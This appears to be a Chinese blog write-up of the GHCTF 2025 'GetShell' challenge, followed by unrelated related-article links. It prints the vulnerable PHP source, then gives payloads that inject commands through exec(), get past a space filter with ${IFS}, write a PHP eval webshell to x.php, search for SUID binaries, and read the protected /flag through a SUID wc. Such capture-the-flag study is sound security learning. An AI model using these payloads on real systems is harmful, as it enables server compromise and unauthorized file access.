[GHCTF 2025]GetShell

题目

php 复制代码
<?php
highlight_file(__FILE__);

class ConfigLoader {
    private $config;

    public function __construct() {
        $this->config = [
            'debug' => true,
            'mode' => 'production',
            'log_level' => 'info',
            'max_input_length' => 100,
            'min_password_length' => 8,
            'allowed_actions' => ['run', 'debug', 'generate']
        ];
    }

    public function get($key) {
        return $this->config[$key] ?? null;
    }
}

class Logger {
    private $logLevel;

    public function __construct($logLevel) {
        $this->logLevel = $logLevel;
    }

    public function log($message, $level = 'info') {
        if ($level === $this->logLevel) {
            echo "[LOG] $message\n";
        }
    }
}

class UserManager {
    private $users = [];
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function addUser($username, $password) {
        if (strlen($username) < 5) {
            return "Username must be at least 5 characters";
        }

        if (strlen($password) < 8) {
            return "Password must be at least 8 characters";
        }

        $this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
        $this->logger->log("User $username added");
        return "User $username added";
    }

    public function authenticate($username, $password) {
        if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
            $this->logger->log("User $username authenticated");
            return "User $username authenticated";
        }
        return "Authentication failed";
    }
}

class StringUtils {
    public static function sanitize($input) {
        return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }

    public static function generateRandomString($length = 10) {
        return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
    }
}

class InputValidator {
    private $maxLength;

    public function __construct($maxLength) {
        $this->maxLength = $maxLength;
    }

    public function validate($input) {
        if (strlen($input) > $this->maxLength) {
            return "Input exceeds maximum length of {$this->maxLength} characters";
        }
        return true;
    }
}

class CommandExecutor {
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function execute($input) {
        if (strpos($input, ' ') !== false) {
            $this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }
}

class ActionHandler {
    private $config;
    private $logger;
    private $executor;

    public function __construct($config, $logger) {
        $this->config = $config;
        $this->logger = $logger;
        $this->executor = new CommandExecutor($logger);
    }

    public function handle($action, $input) {
        if (!in_array($action, $this->config->get('allowed_actions'))) {
            return "Invalid action";
        }

        if ($action === 'run') {
            $validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {
                return $validationResult;
            }

            return $this->executor->execute($input);
        } elseif ($action === 'debug') {
            return "Debug mode enabled";
        } elseif ($action === 'generate') {
            return "Random string: " . StringUtils::generateRandomString(15);
        }

        return "Unknown action";
    }
}

if (isset($_REQUEST['action'])) {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));

    $actionHandler = new ActionHandler($config, $logger);
    $input = $_REQUEST['input'] ?? '';
    echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));
    $userManager = new UserManager($logger);

    if (isset($_POST['register'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->addUser($username, $password);
    }

    if (isset($_POST['login'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->authenticate($username, $password);
    }

    $logger->log("No action provided, running default logic");
} 

一开始显示:

看呀看呀看呀,看到ActionHandler类中handle函数有个这个东西

php 复制代码
if ($action === 'run') {
            $validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {
                return $validationResult;
            }

            return $this->executor->execute($input);

找到execute函数

php 复制代码
public function execute($input) {
        if (strpos($input, ' ') !== false) {
            $this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }

别管其他的了,对着exec()猛冲就完事了

1.acion为'run' 2.input是执行的命令 3.output是执行结果

好,很好,执行ls

php 复制代码
/?action=run&input=ls

发现 个wc

然后去网上看wp,发现还能写马呀,长见识了

写马

php 复制代码
/?action=run&input=echo${IFS}'<?=eval($_POST[1]);?>'${IFS}>x.php

也就是说,把

php 复制代码
<?=eval($_POST[1]);?>

重定向(>)到 x.php中(新建立的)

然后再ls一下就出来x.php了

用蚁剑连接,兴高采烈找flag,结果发现p都没有

用%09或者${IFS}绕过空格

执行

bash 复制代码
/?action=run&input=ls${IFS}/

发现 docker-entrypoint.sh 程序

执行

bash 复制代码
action=run&input=cat${IFS}/docker-entrypoint.sh

整理一下变成:

改变环境变量并提高flag权限

bash 复制代码
#!/bin/sh   #声明
user=$(ls /home)  #后来没用到,无实际意义
if [ "$DASFLAG" ]; then
    INSERT_FLAG="$DASFLAG"
    export DASFLAG=no_FLAG  # 导出修改后的环境变量
    DASFLAG=no_FLAG         # 覆盖当前脚本中的变量值
#export DASFLAG=no_FLAG:修改环境变量,让后续启动的程序(如 Apache)看到的是 no_FLAG,而非真实的 Flag。
#DASFLAG=no_FLAG:修改当前脚本中变量 DASFLAG 的值,防止后续代码误用。
#为什么需要双重操作(export + 直接赋值)?
#export:修改环境变量,影响所有 子进程(比如后续启动的 Apache)。

#直接赋值:修改当前脚本中的变量值,影响 当前进程。

#区别:

#如果只 export,当前脚本中 DASFLAG 的值还是真实的 Flag。

#如果只直接赋值,子进程(如 Apache)仍然能读取到原始的 DASFLAG。

#双重操作确保 当前脚本和子进程都看不到原始 Flag。
elif [ "$FLAG" ]; then
    INSERT_FLAG="$FLAG"
    export FLAG=no_FLAG
    FLAG=no_FLAG
elif [ "$GZCTF_FLAG" ]; then
    INSERT_FLAG="$GZCTF_FLAG"
    export GZCTF_FLAG=no_FLAG
    GZCTF_FLAG=no_FLAG
else
    INSERT_FLAG="flag{TEST_Dynamic_FLAG}"
fi

echo $INSERT_FLAG | tee /flag  # 写入 Flag 到文件(/flag)
chmod 700 /flag               # 权限设为仅所有者可读写执行

exec apache2-foreground  #替换当前进程为 Apache 前台运行,保持容器活跃。

目的就是搜查三个环境变量,从环境变量中读取敏感信息(Flag),然后立即销毁环境变量中的flag痕迹,把真实flag存到/flag中,但是需要所有者权限才能读取

所以flag读不了考虑权限不够的原因,在url中提权

php 复制代码
?action=run&input=find / -perm -4000
加工
?action=run&input=find${IFS}/${IFS}-perm${IFS}-4000

-perm 用于根据文件的权限来筛选文件,整句话的意思就是从根目录里头找具有SUID权限的文件(-4000)

整理后是:发现wc

提权过程

GTFOBins

第一步:将带有SUID权限的wc复制到当前目录

  1. . 表示当前目录

2.install 是一个用于复制文件并设置其权限的命令,常用于安装软件包时将文件复制到指定位置,并确保文件具有合适的权限,基本语法:

复制代码
install [选项] 源文件 目标位置
  1. -m=xs(也就是install的那个选项):

mmode(权限),用于指定文件的权限模式。

xsx 表示可执行权限,s 表示设置 SUID(SUID)或 SGID(Set Group ID)权限。在这个命令中,设置 SUID 权限意味着当其他用户执行这个文件时,它会以文件所有者的身份运行。

4.$(which wc):which 是一个用于查找可执行文件位置的命令。$(...)首先会执行括号里的命令,然后将命令结果输出到原来位置

bash 复制代码
sudo install -m=xs $(which wc) .
加工
sudo${IFS}install${IFS}-m${IFS}=xs${IFS}$(which${IFS}wc)${IFS}.

第二步:定义目标文件路径

定义环境变量LFILE,指向受保护文件**/flag,后续可以通过$LFILE引用该路径,避免直接硬编**

bash 复制代码
input=LFILE=/flag
实际命令
export LFILE=/flag

第三步:利用SUID的wc读取文件

  1. ./wc :运行当前目录下已设置SUID的wc程序。

  2. --files0-fromwc的一个选项,从指定文件读取输入(通常用于批量统计文件)。

bash 复制代码
input=./wc --files0-from "$LFILE"
加工
input=./wc${IFS}--files0-from${IFS}"$LFILE"

上面忽略,其实直接来到最后一步就行......

在蚁剑终端输入

bash 复制代码
/var/www/html/wc --files0-from "flag" 
相关推荐
佩奇的技术笔记33 分钟前
Java学习手册:单体架构到微服务演进
java·微服务·架构
GalenWu34 分钟前
对象转换为 JSON 字符串(或反向解析)
前端·javascript·微信小程序·json
GUIQU.44 分钟前
【Vue】微前端架构与Vue(qiankun、Micro-App)
前端·vue.js·架构
zwjapple1 小时前
“ES7+ React/Redux/React-Native snippets“常用快捷前缀
javascript·react native·react.js
数据潜水员1 小时前
插槽、生命周期
前端·javascript·vue.js
zm1 小时前
服务器多客户端连接核心要点(1)
java·开发语言
2401_837088501 小时前
CSS vertical-align
前端·html
优雅永不过时·1 小时前
实现一个漂亮的Three.js 扫光地面 圆形贴图扫光
前端·javascript·智慧城市·three.js·贴图·shader
FuckPatience1 小时前
关于C#项目中 服务层使用接口的问题
java·开发语言·c#
天上掉下来个程小白1 小时前
缓存套餐-01.Spring Cache介绍和常用注解
java·redis·spring·缓存·spring cache·苍穹外卖